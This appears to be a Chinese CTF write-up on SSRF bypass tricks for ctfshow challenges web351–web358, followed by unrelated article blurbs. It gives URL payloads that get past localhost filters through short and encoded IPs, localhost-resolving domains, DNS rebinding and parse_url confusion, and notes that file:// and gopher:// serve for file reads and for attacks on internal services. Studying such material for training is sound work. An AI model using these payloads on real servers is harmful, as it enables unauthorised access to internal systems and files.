【SSRF漏洞】——http协议常见绕过

改变的确很难,但结果值得冒险

本文如有错误之处,还请各位师傅指正

一.ssrf概述

SSRF全称为Server-side Request Fogery,中文含义服务器端请求伪造

 SSRF是一种由攻击者构造形成目标服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(防火墙隔绝)。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

原由:大都是由于服务端提供了从其它服务器获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等。但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

  • 判断是否为SSRF题目:题目源码出现以下函数file_get_contents()、curl()、fsocksopen()、fopen()
  • 时可能有SSRF
  • 常用协议:http://,file://,dict://,gopher://

二.curl会话

PHP中的cURL会话(cURL session)是通过cURL库提供的功能来进行HTTP请求的过程。cURL会话可以用于发送HTTP/HTTPS协议请求,获取服务器响应,并对请求和响应进行配置和处理。

支持的协议:dict file ftp ftps http https imap imaps ipfs ipns mqtt pop3 pop3s smb smbs smtp smtps telnet tftp

ssrf常用的四种协议包括file,dict,http,gopher

  • file协议‌:用于进行任意文件读取,是SSRF中最简单的利用方式。通过指定文件路径(如file://开头),攻击者可以尝试读取服务器上的任何文件,包括敏感信息或配置文件。

  • http(s)协议‌:允许攻击者向目标发送HTTP请求,探测内网服务。由于GET请求的参数直接加在URL中,这使得探测那些使用GET请求的应用成为可能,进而进行内网探测和攻击。

  • dict协议‌:1.探测内网主机 2.探测端口的开放情况‌ 3.探测端口的指纹信息 4.执行命令

  • gopher(万金油)协议‌:gopher协议允许通过Telnet远程访问其他应用程序,并使得Internet上的所有Gopher客户程序能够与Internet上的所有已“注册”的Gopher服务器进行对话。‌此外,Gopher协议支持发出GET和POST请求,这使得它能够在ssrf(服务器端请求伪造)攻击中发挥重要作用,例如攻击内网的MySQl,FTP,Telnet,Redis,Mencache等,同时也可以进行GET、POST请求。

使用cURL会话进行HTTP请求的基本步骤如下:

  •     创建一个cURL会话句柄(curl_init)。
  •     设置需要的选项,如请求的URL、请求方法、请求头、请求体等(curl_setopt)。
  •     执行HTTP请求(curl_exec)。
  •     获取服务器响应(可选)。
  •     关闭cURL会话(curl_close)。

 三.ctfshow之ssrf

web351:

使用dict协议查看哪个端口开放,来决定使用哪个协议:

url=dict://127.0.0.1:80成功回显,可以使用http协议

payload:url=127.0.0.1/flag.php

 web352:

parse_url()函数:是用来解析一个URL并返回该URL的各个组成部分

  • scheme: URL的协议部分http/https等等
  • host: URL的主机名部分   //后的部分
  • port: URL的端口部分  
  • user: URL的用户名部分    @前
  • pass: URL的密码部分       @前
  • path: URL的路径部分
  • query: URL的查询字符串部分
  • fragment: URL的锚点部分    #后

 payload:url=http://127.0.0.1/flag.php

web353:

不能出现127.0.的部分

payload:url=http://127.1/flag.php

 还可以通过编码绕过:16进制,10进制,8进制

 web354:

不能出现0和1

使用域名指向http://sudo.cc指向1270.0.1

payload:url=http://sudo.cc/flag.php

 web355:

payload:url=http://127.1/flag.php

web356:

linux中0也可以访问本地

payload:url=http://0/flag.php

web357:

gethostbyname()函数是Linux系统中用于获取主机名对应IP地址的函数之一。

get_file_contens()函数读取域名后返回目标攻击ip

filter_var函数来验证第一次返回真正IP地址的有效性,并且排除了私有IP范围(0.0.0.0/8、172.16.0.0/12和192.168.0.0/16)和保留IP范围(0.0.0.0/8和169.254.0.0/16。)。

 这里采用DNS rebinding(DNS重新绑定攻击)绕过

攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。

 在这个网站注册账号:CEYE - Monitor service for security testing

 得到一个域名和两个ip

注意重定向时,域名的使用:r.域名

payload:url=http://r.zxfpib.ceye.io/flag.php

web358:

preg_match('/^http:\/\/ctf\..*show$/i',$url)

^:表示正则匹配的开始

^http:\/\/ctf\.:以http://ctf.开头

.*:匹配零个或任意个字符

$:匹配的结束表示

 parse_url匹配的时候,@前的内容是user部分,#后的部分会被忽略

payload:url=http://ctf.@0/flag.php#show

或者   url=http://ctf.@0/flag.php?show

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/424087.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Centos7安装gitlab-ce(rpm安装方式)

本章教程,主要介绍如何在Centos7安装gitlab-ce。 一、安装基础环境 安装gitlab-ce之前,我们需要安装一下jdk版本。 sudo yum install java-11-openjdk-devel二、下载安装包 这里我们下载的是rpm包。更多gitlab-ce版本可以在这里查看:https://…

08 vue3之认识bem架构及less sass 和scoped

bem架构 他是一种css架构 oocss 实现的一种 (面向对象css) ,BEM实际上是block、element、modifier的缩写,分别为块层、元素层、修饰符层,element UI 也使用的是这种架构 1. BEM架构 1. 介绍 1. BEM是Block Element M…

日志收集工具 Fluentd vs Fluent Bit 的区别

参考链接: FluentdFluentd BitFluentd & Fluent Bit | Fluent Bit: Official Manual Fluentd 与 Fluent Bit 两者都是生产级遥测生态系统! 遥测数据处理可能很复杂,尤其是在大规模处理时。这就是创建 Fluentd 的原因。 Fluentd 不仅仅是…

计算机网络30——Linux-gdb调试命令makefile

1、开始调试 编译时带-g为调试,带调试信息编译后的可执行文件更大 2、进入调试 使用gdb 可执行文件名——进入调试 失败版: 成功版: 3、l命令 l什么都不加——列出10行代码 l 行号——行号的行在中间,向上向下展示10行 4、st…

PD虚拟机占用多少内存?使用电脑的虚拟内存会损害电脑吗

当我们讨论虚拟机及其对电脑性能的影响时,常常会出现两个关键问题:“PD虚拟机需要占用多少内存?”以及“启用电脑的虚拟内存是否会损害硬件?”对于依赖虚拟机进行日常工作的用户而言,这些问题尤为重要。 在本文中&…

架构设计 - 常用日志收集方案选型对比与推荐

目录 1. 常用组合1.1 ELK Stack -> Elastic Stack1.2 EFK Stack1.3 Graylog1.4 PLG 日志系统1.5 Splunk1.6 Filebeat ELK1.7 AWS CloudWatch Logs1.8 阿里云日志服务1.9 腾讯云 CLS(日志服务) 2. 推荐 日志收集是系统监控和调试中的关键环节。常见的…

Python 数学建模——ARMA 时间序列分析

文章目录 前言使用前提平稳性检验白噪声检验 用法代码实例第一步——平稳性分析方法一方法二方法三 第二步——白噪声分析第三步——确定参数第四步——模型构建与检验检验模型效果预测未来数据 前言 常见的时间序列分析方法有很多,之前介绍了一个稍微新颖的 Prophe…

vue项目如何在js文件中导入assets文件夹下图片

前言: 之前在vuewebpack项目中动态导入图片时,是使用的require()函数。但是在vite中不支持require()函数,换成了new URL()方式。 项目中使用:

HuggingFace Embedding 转为 Ollama Embedding

Ollama 是基于 LlamaCpp 开发的 CPU 上的推理引擎,通过 LlamaCpp 提供的脚本可以将大语言模型装换为 gguf 的二进制跟是文件,从而通过 Ollama 就行推理。Ollama 支持HuggingFace 大多开源模型,例如 Llama、Qwen、Gemma 和 Phi3 等等。 GGUF …

【运维监控】Prometheus+grafana监控zookeeper运行情况

运维监控系列文章入口:【运维监控】系列文章汇总索引 文章目录 一、prometheus二、grafana三、prometheus集成grafana监控zookeeper1、修改zookeeper配置2、修改prometheus配置3、导入grafana模板4、验证 本示例通过zookeeper自带的监控信息暴露出来,然后…

大模型入门3:理解LLAMA

LLama在transformers库中的代码,以及各部分原理Llama3.1技术报告LLama 33b 微调尝试 Model a stack of DecoderBlocks(SelfAttention, FeedForward, and RMSNorm) decoder block 整体结构:最大的区别在pre-norm x -> norm(x) -> attention() -…

Java应用压测工具JMeter

目录 1、下载JMeter 2、配置环境变量 3、配置语音 4、使用 1、下载JMeter Apache JMeter - Apache JMeter™ 千万别下载这个,会报错、 千万别下载这个,会报错、 千万别下载这个,会报错 下载这个,失败多下载几次 2、配置环…

视图(mysql)

一、什么是视图 视图是⼀个虚拟的表,它是基于⼀个或多个基本表或其他视图的查询结果集。视图本⾝不存储数 据,⽽是通过执⾏查询来动态⽣成数据。⽤⼾可以像操作普通表⼀样使⽤视图进⾏查询、更新和管 理。视图本⾝并不占⽤物理存储空间,它仅…

【python计算机视觉编程——9.图像分割】

python计算机视觉编程——9.图像分割 9.图像分割9.1 图割安装Graphviz下一步:正文9.1.1 从图像创建图9.1.2 用户交互式分割 9.2 利用聚类进行分割9.3 变分法 9.图像分割 9.1 图割 可以选择不装Graphviz,因为原本觉得是要用,后面发现好像用不…

Docker常用操作(基础篇)

Docker常用操作一览图 #查看镜像 docker images #拉取nginx镜像 docker pull nginx #拉取mysql镜像 docker pull mysql docker run -d --name nginx1 -p 80:80 nginx #docker run -d:创建并运行一个容器,-d是让容器以后台进程运行 #--name nginx1&#…

springBoot 集成https

springBoot 集成https 1、springBoot默认的证书格式 pring Boot 需要 .p12 或 .jks 格式的证书。如果你只有 .pem 和 .key 文件,可以使用 openssl 工具将它们转换成 .p12 文件 2、转换.p12 我的证书文件如下,需要转换 2.1 下载openssl https://slpr…

Docker零基础入门

参考课程https://www.bilibili.com/video/BV1VC4y177re/?vd_source=b15169a302bee35f484245aecc69d4dd 参考书籍Docker 实践 - 面向 AI 开发人员的 Docker 实践 (dockerpractice.readthedocs.io) 1. 什么是Docker 1.1. Docker起源 随着计算机的发展,计算机上已经可以运行多…

abVIEW 可以同时支持脚本编程和图形编程

LabVIEW 可以同时支持脚本编程和图形编程,但主要依赖其独特的 图形编程 环境(G语言),其中程序通过连线与节点来表示数据流和功能模块。不过,LabVIEW 也支持通过以下方式实现脚本编程的能力: 1. 调用外部脚本…

光伏选址和设计离不开气象分析!

都说光伏选址和设计离不开气象分析,气象条件对太阳能发电影响较大,具体有哪些影响呢?今天我就来讲解下。 - 太阳辐射:太阳辐射的强度是光伏发电的首要因素,对光伏发电有着重要的影响。太阳辐射的强度决定了光伏发电系…

vue2制作高复用页面

记录一下页面搭建记录,利用vue2组件化开发的思想。这个页面适合于大部分信息管理系统~。模板固定,每次使用,直接修改表单表格参数,api接口等。 以上图页面为例,一个基础数据信息页面可以分为,分类&#xff…